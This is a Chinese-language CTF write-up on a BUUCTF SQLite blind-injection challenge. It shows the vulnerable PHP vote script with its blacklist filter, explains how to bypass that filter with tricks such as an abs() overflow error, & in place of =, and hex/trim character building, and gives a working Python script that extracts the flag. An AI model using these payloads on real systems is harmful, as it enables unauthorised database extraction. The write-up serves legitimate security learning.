sqli数据库注入+整数溢出
看源码ban的东东
<?phperror_reporting(0);if (isset($_GET['source'])) {show_source(__FILE__);exit();}function is_valid($str) {$banword = [// dangerous chars// " % ' * + / < = > \ _ ` ~ -"[\"%'*+\\/<=>\\\\_`~-]",// whitespace chars'\s',// dangerous functions'blob', 'load_extension', 'char', 'unicode','(in|sub)str', '[lr]trim', 'like', 'glob', 'match', 'regexp','in', 'limit', 'order', 'union', 'join'];$regexp = '/' . implode('|', $banword) . '/i';if (preg_match($regexp, $str)) {return false;}return true;}header("Content-Type: text/json; charset=utf-8");// check user inputif (!isset($_POST['id']) || empty($_POST['id'])) {die(json_encode(['error' => 'You must specify vote id']));}$id = $_POST['id'];if (!is_valid($id)) {die(json_encode(['error' => 'Vote id contains dangerous chars']));}// update database$pdo = new PDO('sqlite:../db/vote.db');$res = $pdo->query("UPDATE vote SET count = count + 1 WHERE id = ${id}");if ($res === false) {die(json_encode(['error' => 'An error occurred while updating database']));}// succeeded!echo json_encode(['message' => 'Thank you for your vote! The result will be published after the CTF finished.']);
当上传成功时返回 Thank you ,失败返回error
因此我们可以用过构造报错注入进行盲注
这里有一个小的知识点
在sqli中,如果X是整数-9223372036854775808,则abs(X)会引发溢出错误,即abs(0x8000000000000000)
= 被过滤,用 & 代替
空字符使用 trim(0,0) 代替
在sqlite3 中 2||3==’23’ 为 1,而 2||3==23 为否 。因此我们可以利用这个特性来制造出数字的字符串,在用replace来替换
两遍 hex 则把所有字母都转成数字,同时使用 upper 来将hex得到的大写字母转成小写
sqlite中可以通过 case when then else end 来进行判断
在sqlite中有一张系统表sqlite_master,其中两个字段name,和sql分别表示所有表名和表结构名
sqlite中没有ascii,用unicode来代替
总结:sqlite3 盲注 bypass ,利用 replace() 和 length 进行爆破,trim() 替换空字符,trim() 和 hex() 构造字符,& 特性获取长度等等,在 mysql 中也存在溢出的现象
# coding: utf-8
import binascii
import requests
URL = 'http://35323a2a-4a86-4961-9f6b-6323e9247341.node3.buuoj.cn/vote.php'
# フラグの長さを特定 判断flag的长度
l = 0
i = 0
for j in range(16):
r = requests.post(URL, data={
'id': f'abs(case(length(hex((select(flag)from(flag))))&{1 << j})when(0)then(0)else(0x8000000000000000)end)'
})
if b'An error occurred' in r.content:
l |= 1 << j
print('[+] length:', l)
# A-F のテーブルを作成 利用以下语句构造 A-F
table = {}
# hex(b'zebra') = 7A65627261
# 除去 12567 就是 A ,其余同理
table['A'] = 'trim(hex((select(name)from(vote)where(case(id)when(3)then(1)end))),12567)'
table['C'] = 'trim(hex(typeof(.1)),12567)'
table['D'] = 'trim(hex(0xffffffffffffffff),123)'
table['E'] = 'trim(hex(0.1),1230)'
table['F'] = 'trim(hex((select(name)from(vote)where(case(id)when(1)then(1)end))),467)'
# hex(b'koala') = 6B6F616C61
# 除去 16CF 就是 B
table['B'] = f'trim(hex((select(name)from(vote)where(case(id)when(4)then(1)end))),16||{table["C"]}||{table["F"]})'
# フラグをゲット!
res = binascii.hexlify(b'flag{').decode().upper()
for i in range(len(res), l):
for x in '0123456789ABCDEF':
t = '||'.join(c if c in '0123456789' else table[c] for c in res + x)
r = requests.post(URL, data={
'id': f'abs(case(replace(length(replace(hex((select(flag)from(flag))),{t},trim(0,0))),{l},trim(0,0)))when(trim(0,0))then(0)else(0x8000000000000000)end)'
})
if b'An error occurred' in r.content:
res += x
break
print(f'[+] flag ({i}/{l}): {res}')
i += 1
print('[+] flag:', binascii.unhexlify(res).decode())
